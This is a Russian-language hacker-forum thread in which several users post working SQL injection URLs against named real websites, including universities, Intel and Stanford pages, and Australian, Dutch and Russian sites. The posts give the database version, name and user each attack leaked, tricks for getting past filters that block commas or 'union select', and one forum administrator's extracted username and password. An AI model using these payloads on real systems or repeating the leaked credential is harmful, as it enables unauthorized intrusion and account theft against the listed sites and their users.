SQL-Injection

[skM]

Сообщение от }{оттабыч

не пускает "," посему через join

http://press.georgetown.edu/p.php?id=7 union (select * from (select 1)q join (select version())w join (select 3)e join (select 4)r join (select 5)t join (select 6)y join (select 7)u join (select 8)i join (select 9)o)

version() =>5.0.91-community:
database() => george_town:
user() => george_town

запятые пускает, а вот не пускает union select

_http://press.georgetown.edu/p.php?id=7+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9

[Svet]

http://www.icewarm.com.au/page.php?pId=-1+union+select+1,concat_ws(0x3a3a3a,version(),database(),user()),3--+

PR 5 4.1.21:::icewarm:::dbwwwadmin@localhost

http://www.meinhardt.com.au/projectdetail.php?pid=-1+and+1=0+union+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

PR 5

[Svet]

http://screening.iarc.fr/biosketch.php?Id=-1+and+1=0+union+select+1,2,3,4,concat_ws(0x3a3a3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41--+

PR 6 5.0.51a-3ubuntu5.7:::scrdata:::scrdata@localhost

http://www.waballet.com.au/whats_on.php?id=-1+and+0=1+union+select+1,2,concat_ws%280x3a3a3a,version%28%29,database%28%29,user%28%29%29,4,5,6,7,8,9,10,11,12--+

PR 6 4.1.22:::WABALLET:::AC8WFR@205.178.145.69

http://www.4wdsystems.com.au/index.php?id=-1+and+1=0+union+select+1,concat_ws%280x3a3a3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10--+

PR 2 5.0.91-community-log:::wc449836_db:::wc449836_jess@localhost

http://www.ruraldoc.com.au/content_sub.php?id=-1+and+1=0+union+select+1,2,unhex%28hex%28concat_ws%280x3a3a3a,version%28%29,database%28%29,user%28%29%29%29%29,4,5,6--+

PR 5 4.1.13a-nt:::ruraldr:::ruraldr@localhost

[Chelios]

http://www.vchn.vic.edu.au/courses.php?id=-76+/*!union+select*/+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18&imgid=Pro&&cpPoint=M

5.0.91-community:vchn_giskp08@localhost:vchn_ginvchdb

http://www.olivetcollege.edu/news/news.php?id=-39'+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4+--+&year=2000

4.1.22-standard:cc0124_olivett@localhost:cc0124_db

http://www.dominican.edu/query/ncur/display_ncur.php?id=2731+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118+--+

5.1.48-LOG: DUOC_ONLINE@172.16.1.31: DOMINICAN

[525]

http://www.ncess.ac.uk/events/?active=3+union+select+1,2,3,4,5,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--

pr6

ncess_web@euclid.mc.man.ac.uk:5.1.34-1-log:ncess_web

http://www.harrisburgu.edu/news/article.php?id=-610+union+select+1,unhex(hex(concat_ws(0x3a,user(),version(),database()))),3,4,5+--+

pr6

hudbweb@localhost:4.1.18-nt:harrisburgu

http://ossmpsdk.intel.com/polls_result.php?task=vote&id=25+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8

5.0.77-logssmpsdkssmpsdk@localhost

[}{оттабыч]

http://www.znakkachestva.ru/tesaurus/202/1'or(ExtractValue(1,concat(0x3a,(version()))))or'

[h0rsekiller]

http://www.stanford.edu/dept/SUSE/cgi-bin/ldt/profiles/student-facebook.php?classyear=1+and++(select++1++from(select++count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

pr9 5.1.47-1:SUSEldt@www07.Stanford.EDU1:g_SUSE_ldt1

[Chelios]

ТИЦ 475 ПР3

http://www.teplonet.ru/articles/?id=-153'+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12+--+&category=1

ТИЦ 400 ПР5

http://www.vetlek.ru/articles/?id=-19+union+select+1,2,3,concat_ws(0x3a,username,password),user(),6,7,8+from+vetlek_forums_users+where+group_id=1+--+

акк админа форума

Администратор:vttrg321

на форуме стоит punbb 1.2.14, залиться не получилось.

[Svet]

http://www.accf.nl/boot/index.php?id=-1'+and+1=0+union+select+1,2,concat_ws(0x3a3a3a,version(),database(),user()),4,5,6--+

PR 5 5.1.49-2-log:::accfnl:::accfnl@192.168.12.121

http://www.bispublishers.nl/bookpage.php?id=-1+and+1=0+union+select+1,2,concat_ws(0x3a3a3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--+

PR 5 5.1.54-log:::bispublis:::bispublis@10.0.1.149

http://www.drewapenaar.nl/project.php?id=-1+and+0=1+union+select+concat_ws(0x3a3a3a,version(),database(),user()),2,3,4,5--+

PR 5 5.0.75-0ubuntu10.5:::db_40_drewapen:::db_40_drewapen@loca lhost

[Svet]

http://www.philosophie.nl/index.php?pid=-1+and+1=0+union+select+concat_ws(0x3a3a3a,version(),database(),user())--+

PR 2

http://www.p60.nl/index.php?pid=6&id=-1+and+1=0+union+select+1,2,3,4,5,6,concat_ws(0x3a3a3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--+

PR 5 5.0.51a-3ubuntu5.4::: p60nl::: p60@localhost

http://www.kopstoring.nl/index2.php?pid=-1+and+1=0+union+select+1,2,3,4,concat_ws(0x3a3a3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16--+

PR 5 4.1.20-log::: peanuts_lab_kopstoring:::lab_kopstoring@localhost